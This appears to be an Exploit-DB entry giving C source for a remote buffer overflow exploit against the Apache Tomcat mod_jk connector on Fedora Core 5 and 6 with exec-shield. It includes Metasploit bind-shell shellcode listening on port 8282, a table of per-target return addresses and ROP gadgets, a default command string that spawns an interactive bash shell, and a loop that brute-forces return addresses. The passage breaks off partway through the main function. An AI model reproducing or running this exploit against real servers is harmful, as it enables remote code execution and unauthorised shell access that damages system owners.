Exploit-DB #4162
Description: Apache Tomcat Connector mod_jk - 'exec-shield' Remote Overflow
Type: remote
Platform: linux
Date: 2007-07-08
Author: Xpl017Elz

Exploit:
/*
**
** Fedora Core 5,6 (exec-shield) based
** Apache Tomcat Connector (mod_jk) remote overflow exploit
** by Xpl017Elz
**
** Advanced exploitation in exec-shield (Fedora Core case study)
** URL: http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt
**
** Reference: https://www.securityfocus.com/bid/22791
** vendor: http://tomcat.apache.org/
**
** eliteboy's exploit (SUSE, Debian, FreeBSD):
** http://www.milw0rm.com/exploits/4093
**
** Nicob <nicob[at]nicob.net>'s exploit (Win32):
** http://downloads.securityfocus.com/vulnerabilities/exploits/apache_modjk_overflow.rb
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#ifdef __linux__
#include <getopt.h>
#endif

#define MAP_URI_TO_WORKER_1_FC5 0x080474bc /* (0x2040),(0x201c) */
#define MAP_URI_TO_WORKER_1_FC6 0x080476a4 /* (0x2040),(0x201c) */
#define MAP_URI_TO_WORKER_2     0x82828282
#define MAP_URI_TO_WORKER_3     0x08048014

/* parody */
#define HOST_PARAM	"0x82-apache-mod_jk.c" /* Host */
#define DEFAULT_CMDZ	"uname -a;id;echo 'hehe, its GOBBLES style!';export TERM=vt100;exec bash -i\n"
#define PADDING_1	'A'
#define PADDING_2	'B'
#define PADDING_3	'C'
#define RET_ADDR_INC	(0x2000)
#define SH_PORT		8282

char library_shellcode[]=
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	/* linux_ia32_bind -  LPORT=8282 Size=108 Encoder=PexFnstenvSub http://metasploit.com */
	"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0"
	"\x2c\x54\x7f\x83\xeb\xfc\xe2\xf4\xd1\xf7\x07\x3c\xb3\x46\x56\x15"
	"\x86\x74\xcd\xf6\x01\xe1\xd4\xe9\xa3\x7e\x32\x17\xc0\x76\x32\x2c"
	"\x69\xcd\x3e\x19\xb8\x7c\x05\x29\x69\xcd\x99\xff\x50\x4a\x85\x9c"
	"\x2d\xac\x06\x2d\xb6\x6f\xdd\x9e\x50\x4a\x99\xff\x73\x46\x56\x26"
	"\x50\x13\x99\xff\xa9\x55\xad\xcf\xeb\x7e\x3c\x50\xcf\x5f\x3c\x17"
	"\xcf\x4e\x3d\x11\x69\xcf\x06\x2c\x69\xcd\x99\xff";

struct {
	int num;
	char *type;
	int ret_count;
	u_long retaddr;
	u_long strcpy_plt;
	int offset;
	u_long pop_pop_pop_ret_code;
	u_long pop_pop_ret_code;
	u_long ret_code;
	u_long worker_arg1;
} targets[] = {
	{0,"Fedora Core release 5 (Bordeaux) - exec-shield\n"
	"\tApache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
	"\ttarball install: /usr/local/apache\n"
	"\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
	3,0x100104,0x08060c80,4112,0x08060dc4,0,0,MAP_URI_TO_WORKER_1_FC5},

	{1,"Fedora Core release 6 (Zod) - exec-shield\n"
	"\tApache/2.0.49 (Unix) mod_jk/1.2.19\n"
	"\ttarball install: /usr/local/apache\n"
	"\tbinary install: mod_jk-apache-2.0.49-linux-i686.so",
	27,0x100104,0x0805fe74,4124,0x08061489,0,0,MAP_URI_TO_WORKER_1_FC6},

	{2,"Fedora Core release 6 (Zod) - exec-shield\n"
	"\tApache/2.0.49 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
	"\ttarball install: /usr/local/apache\n"
	"\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
	23,0x100104,0x0805fe74,4112,0x08061489,0,0,MAP_URI_TO_WORKER_1_FC6},

	{3,"Fedora Core release 6 (Zod) - exec-shield\n"
	"\tApache/2.0.59 (Unix) mod_jk/1.2.19, mod_jk/1.2.20\n"
	"\ttarball install: /usr/local/apache\n"
	"\ttarball install: tomcat-connectors-1.2.xx-src.tar.gz",
	3,0x100104,0x08060164,4112,0x080614d4,0,0,MAP_URI_TO_WORKER_1_FC6},
}, victim;

void re_connt(int sock);
void conn_shell(int sock,char *cmdz);
void usage(char *argv0);
void banrl();

int main(int argc,char *argv[]){
	int sock;
	int i=0,j=0,l=0,b=0;
	unsigned char do_ex[8192];
	unsigned char ex_buf[8192*2];
	unsigned char sm_buf[4];
	char *hostp=NULL,*portp=NULL,*cmdz=DEFAULT_CMDZ;

	memset(&victim,0,sizeof(victim));
	banrl();
	while((i=getopt(argc,argv,"h:t:c:r:s:p:o:m:C:"))!=-1){
		switch(i){
			case 'h':
				hostp=(char *)strtok(optarg,":");
				if((portp=(char *)strtok(NULL,":"))==NULL)
					portp="80";
				break;
			case 't':
				if(atoi(optarg)>=sizeof(targets)/sizeof(victim)){
					usage(argv[0]);
					return -1;
				}
				memcpy(&victim,&targets[atoi(optarg)],sizeof(victim));
				break;
			case 'c':
				victim.ret_count=atoi(optarg);
				break;
			case 'r':
				victim.retaddr=strtoul(optarg,NULL,16);
				break;
			case 's':
				victim.strcpy_plt=strtoul(optarg,NULL,16);
				break;
			case 'p':
				victim.pop_pop_pop_ret_code=strtoul(optarg,NULL,16);
				break;
			case 'o':
				victim.offset=atoi(optarg);
				break;
			case 'm':
				victim.worker_arg1=strtoul(optarg,NULL,16);
				break;
			case 'C':
				cmdz=optarg;
				break;
			default:
				usage(argv[0]);
				break;
		}
	}
	if(!victim.ret_count||!victim.retaddr||!victim.strcpy_plt||!victim.offset||!victim.pop_pop_pop_ret_code||!victim.worker_arg1||!hostp||!portp){
		usage(argv[0]);
		return -1;
	}

	victim.pop_pop_ret_code=victim.pop_pop_pop_ret_code+1;
	victim.ret_code=victim.pop_pop_pop_ret_code+3;

	printf("[*] os: %s\n\n",victim.type);
	printf("[*] host: %s\n",hostp);
	printf("[*] port: %s\n",portp);
	printf("[*] count: %d\n",victim.ret_count);
	printf("[*] strcpy@plt: %p\n",victim.strcpy_plt);
	printf("[*] offset: %d\n",victim.offset);
	printf("[*] pop_pop_pop_ret_code: %p\n",victim.pop_pop_pop_ret_code);
	printf("[*] pop_pop_ret_code: %p\n",victim.pop_pop_ret_code);
	printf("[*] ret_code: %p\n",victim.ret_code);
	printf("[*] map_uri_to_worker() arg1: %p\n",victim.worker_arg1);
	printf("[*] start retaddr: %p\n\n",victim.retaddr);

	putchar(';');
	srand(getpid());

	for(b=0;;victim.retaddr+=RET_ADDR_INC){

		putchar((rand()%2)? 'P':'p');
		fflush(stdout);

		usleep(100000);

		memset((char *)do_ex,0,sizeof(do_ex));
		memset((char *)ex_buf,0,sizeof(ex_buf));
		memset((char *)sm_buf,0,sizeof(s